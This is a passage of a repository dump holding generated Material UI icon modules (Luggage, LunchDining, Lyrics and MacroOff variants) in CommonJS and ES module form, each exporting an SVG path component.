    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 8v11h10V8zm2.5 10H8V9h1.5zm3.25 0h-1.5V9h1.5zM16 18h-1.5V9H16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 18H8V9h1.5zm3.25 0h-1.5V9h1.5zM16 18h-1.5V9H16zm1-12h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6.5-2.5h3V6h-3zM17 19H7V8h10z\"\n}, \"1\")], 'LuggageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LuggageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 8v11h10V8zm2.5 10H8V9h1.5zm3.25 0h-1.5V9h1.5zM16 18h-1.5V9H16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 18H8V9h1.5zm3.25 0h-1.5V9h1.5zM16 18h-1.5V9H16zm1-12h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6.5-2.5h3V6h-3zM17 19H7V8h10z\"\n}, \"1\")], 'LuggageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LunchDining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M22 10c.32-3.28-4.28-6-9.99-6S1.7 6.72 2.02 10zM5.35 13.5c.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.63 2.17.64v-1.98s-.79-.16-1.16-.38c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36-.55 0-.78-.14-1.15-.36-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36v2c1.11 0 1.73-.37 2.21-.64.37-.23.59-.36 1.14-.36M2 16v2c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-2z\"\n}), 'LunchDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/LunchDining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M22 10c.32-3.28-4.28-6-9.99-6S1.7 6.72 2.02 10zM5.35 13.5c.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.63 2.17.64v-1.98s-.79-.16-1.16-.38c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36-.55 0-.78-.14-1.15-.36-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36v2c1.11 0 1.73-.37 2.21-.64.37-.23.59-.36 1.14-.36M2 16v2c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-2z\"\n}), 'LunchDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/LunchDiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 19c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3H2zm2-1h16v1H4zm14.66-6.5c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.32 1l-.01-1.98c-1.61-.33-1.62-1.02-3.33-1.02M22 9c.02-4-4.28-6-10-6C6.29 3 2 5 2 9v1h20zM4.18 8C5.01 5.81 8.61 5 12 5c3.31 0 5.93.73 7.19 1.99.3.31.52.64.65 1.01z\"\n}), 'LunchDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LunchDiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 19c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3H2zm2-1h16v1H4zm14.66-6.5c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.32 1l-.01-1.98c-1.61-.33-1.62-1.02-3.33-1.02M22 9c.02-4-4.28-6-10-6C6.29 3 2 5 2 9v1h20zM4.18 8C5.01 5.81 8.61 5 12 5c3.31 0 5.93.73 7.19 1.99.3.31.52.64.65 1.01z\"\n}), 'LunchDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LunchDiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.37 14.28c.79-.29 1.17-.78 1.99-.78 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 .81 0 1.17.46 1.93.76.67.26 1.39-.25 1.39-.96 0-.43-.28-.81-.69-.96-.97-.35-1.22-.83-2.65-.83-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.55 0-1.96.63-2.68.89-.39.14-.65.52-.65.94 0 .69.7 1.18 1.36.94M2 19c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-1c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2zM22 9c.02-4-4.28-6-10-6C6.29 3 2 5 2 9c0 .55.45 1 1 1h18c.55 0 1-.45 1-1\"\n}), 'LunchDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LunchDiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.37 14.28c.79-.29 1.17-.78 1.99-.78 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 .81 0 1.17.46 1.93.76.67.26 1.39-.25 1.39-.96 0-.43-.28-.81-.69-.96-.97-.35-1.22-.83-2.65-.83-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.55 0-1.96.63-2.68.89-.39.14-.65.52-.65.94 0 .69.7 1.18 1.36.94M2 19c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-1c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2zM22 9c.02-4-4.28-6-10-6C6.29 3 2 5 2 9c0 .55.45 1 1 1h18c.55 0 1-.45 1-1\"\n}), 'LunchDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LunchDiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16h20v5H2zm16.66-4.5c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.32 1l-.01-1.98c-1.61-.33-1.62-1.02-3.33-1.02M22 9c.02-4-4.28-6-10-6C6.29 3 2 5 2 9v1h20z\"\n}), 'LunchDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LunchDiningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16h20v5H2zm16.66-4.5c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.32 1l-.01-1.98c-1.61-.33-1.62-1.02-3.33-1.02M22 9c.02-4-4.28-6-10-6C6.29 3 2 5 2 9v1h20z\"\n}), 'LunchDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LunchDiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M4 18h16v1H4zm8-13c-3.39 0-6.99.81-7.82 3h15.66c-.13-.37-.35-.7-.66-1.01C17.93 5.73 15.31 5 12 5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 19c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3H2zm2-1h16v1H4zm14.66-6.5c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.32 1l-.01-1.98c-1.61-.33-1.62-1.02-3.33-1.02M22 9c.02-4-4.28-6-10-6C6.29 3 2 5 2 9v1h20zM4.18 8C5.01 5.81 8.61 5 12 5c3.31 0 5.93.73 7.19 1.99.3.31.52.64.65 1.01z\"\n}, \"1\")], 'LunchDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LunchDiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M4 18h16v1H4zm8-13c-3.39 0-6.99.81-7.82 3h15.66c-.13-.37-.35-.7-.66-1.01C17.93 5.73 15.31 5 12 5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 19c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3H2zm2-1h16v1H4zm14.66-6.5c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.32 1l-.01-1.98c-1.61-.33-1.62-1.02-3.33-1.02M22 9c.02-4-4.28-6-10-6C6.29 3 2 5 2 9v1h20zM4.18 8C5.01 5.81 8.61 5 12 5c3.31 0 5.93.73 7.19 1.99.3.31.52.64.65 1.01z\"\n}, \"1\")], 'LunchDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Lyrics.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9c0-2.04 1.24-3.79 3-4.57V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9c1.1 0 2-.9 2-2v-2.42c-1.76-.78-3-2.53-3-4.58m-4 5H6v-2h4zm3-3H6V9h7zm0-3H6V6h7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V3h2V1h-4z\"\n}, \"1\")], 'Lyrics');"
  },
  {
    "path": "packages/mui-icons-material/lib/Lyrics.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9c0-2.04 1.24-3.79 3-4.57V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9c1.1 0 2-.9 2-2v-2.42c-1.76-.78-3-2.53-3-4.58m-4 5H6v-2h4zm3-3H6V9h7zm0-3H6V6h7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V3h2V1h-4z\"\n}, \"1\")], 'Lyrics');"
  },
  {
    "path": "packages/mui-icons-material/lib/LyricsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6h7v2H6zm0 6h4v2H6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11.97V16H6l-2 2V4h11v2.03c.52-.69 1.2-1.25 2-1.6V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9c1.1 0 2-.9 2-2v-2.42c-.8-.36-1.48-.92-2-1.61\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 9h7v2H6zm14-2.82c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V3h2V1h-4z\"\n}, \"2\")], 'LyricsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LyricsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6h7v2H6zm0 6h4v2H6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11.97V16H6l-2 2V4h11v2.03c.52-.69 1.2-1.25 2-1.6V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9c1.1 0 2-.9 2-2v-2.42c-.8-.36-1.48-.92-2-1.61\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 9h7v2H6zm14-2.82c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V3h2V1h-4z\"\n}, \"2\")], 'LyricsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LyricsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9c0-2.04 1.24-3.79 3-4.57V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9c1.1 0 2-.9 2-2v-2.42c-1.76-.78-3-2.53-3-4.58m-4 5H6v-2h4zm3-3H6V9h7zm0-3H6V6h7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V3h2V1h-4z\"\n}, \"1\")], 'LyricsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LyricsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9c0-2.04 1.24-3.79 3-4.57V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9c1.1 0 2-.9 2-2v-2.42c-1.76-.78-3-2.53-3-4.58m-4 5H6v-2h4zm3-3H6V9h7zm0-3H6V6h7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V3h2V1h-4z\"\n}, \"1\")], 'LyricsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LyricsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9c0-2.04 1.24-3.79 3-4.57V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9c1.1 0 2-.9 2-2v-2.42c-1.76-.78-3-2.53-3-4.58m-4 5H6v-2h4zm3-3H6V9h7zm0-3H6V6h7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V3h2V1h-4z\"\n}, \"1\")], 'LyricsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LyricsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9c0-2.04 1.24-3.79 3-4.57V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9c1.1 0 2-.9 2-2v-2.42c-1.76-.78-3-2.53-3-4.58m-4 5H6v-2h4zm3-3H6V9h7zm0-3H6V6h7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V3h2V1h-4z\"\n}, \"1\")], 'LyricsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LyricsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v14l2-2h9v-4.03c-.62-.83-1-1.85-1-2.97s.38-2.14 1-2.97V4zm6 10H6v-2h4zm3-3H6V9h7zm0-3H6V6h7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 12h4v2H6zm0-6h7v2H6z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11.97V16H6l-2 2V4h11v2.03c.52-.69 1.2-1.25 2-1.6V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9c1.1 0 2-.9 2-2v-2.42c-.8-.36-1.48-.92-2-1.61\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 9h7v2H6zm14-2.82c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V3h2V1h-4z\"\n}, \"3\")], 'LyricsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LyricsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v14l2-2h9v-4.03c-.62-.83-1-1.85-1-2.97s.38-2.14 1-2.97V4zm6 10H6v-2h4zm3-3H6V9h7zm0-3H6V6h7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 12h4v2H6zm0-6h7v2H6z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11.97V16H6l-2 2V4h11v2.03c.52-.69 1.2-1.25 2-1.6V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h9c1.1 0 2-.9 2-2v-2.42c-.8-.36-1.48-.92-2-1.61\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 9h7v2H6zm14-2.82c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3V3h2V1h-4z\"\n}, \"3\")], 'LyricsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MacroOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.98 17.15C20.63 15.91 21 14.5 21 13c-1.5 0-2.91.37-4.15 1.02zM3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m9-7.5c1.38 0 2.5 1.12 2.5 2.5 0 .99-.58 1.84-1.42 2.25l2.48 2.48c.11.02.23.03.35.03 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.01-.2C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-.57 0-1.09.2-1.51.52l3.16 3.16c.41-.85 1.26-1.43 2.25-1.43\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l4.64 4.64c-.27.4-.43.87-.43 1.39 0 1.38 1.12 2.5 2.5 2.5.52 0 .99-.16 1.4-.43l.02.02-.02.16c0 1.38 1.12 2.5 2.5 2.5.05 0 .1-.01.16-.02l1.64 1.64C12.67 18.12 12 19.98 12 22c2.02 0 3.88-.67 5.38-1.8l2.4 2.4 1.41-1.41z\"\n}, \"1\")], 'MacroOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MacroOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.98 17.15C20.63 15.91 21 14.5 21 13c-1.5 0-2.91.37-4.15 1.02zM3 13c0 4.97 4.03 9 9 9 0-4.97-4.03-9-9-9m9-7.5c1.38 0 2.5 1.12 2.5 2.5 0 .99-.58 1.84-1.42 2.25l2.48 2.48c.11.02.23.03.35.03 1.38 0 2.5-1.12 2.5-2.5 0-1-.59-1.85-1.43-2.25.84-.4 1.43-1.25 1.43-2.25 0-1.38-1.12-2.5-2.5-2.5-.53 0-1.01.16-1.42.44l.01-.2C14.5 2.12 13.38 1 12 1S9.5 2.12 9.5 3.5l.02.19c-.4-.28-.89-.44-1.42-.44-.57 0-1.09.2-1.51.52l3.16 3.16c.41-.85 1.26-1.43 2.25-1.43\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l4.64 4.64c-.27.4-.43.87-.43 1.39 0 1.38 1.12 2.5 2.5 2.5.52 0 .99-.16 1.4-.43l.02.02-.02.16c0 1.38 1.12 2.5 2.5 2.5.05 0 .1-.01.16-.02l1.64 1.64C12.67 18.12 12 19.98 12 22c2.02 0 3.88-.67 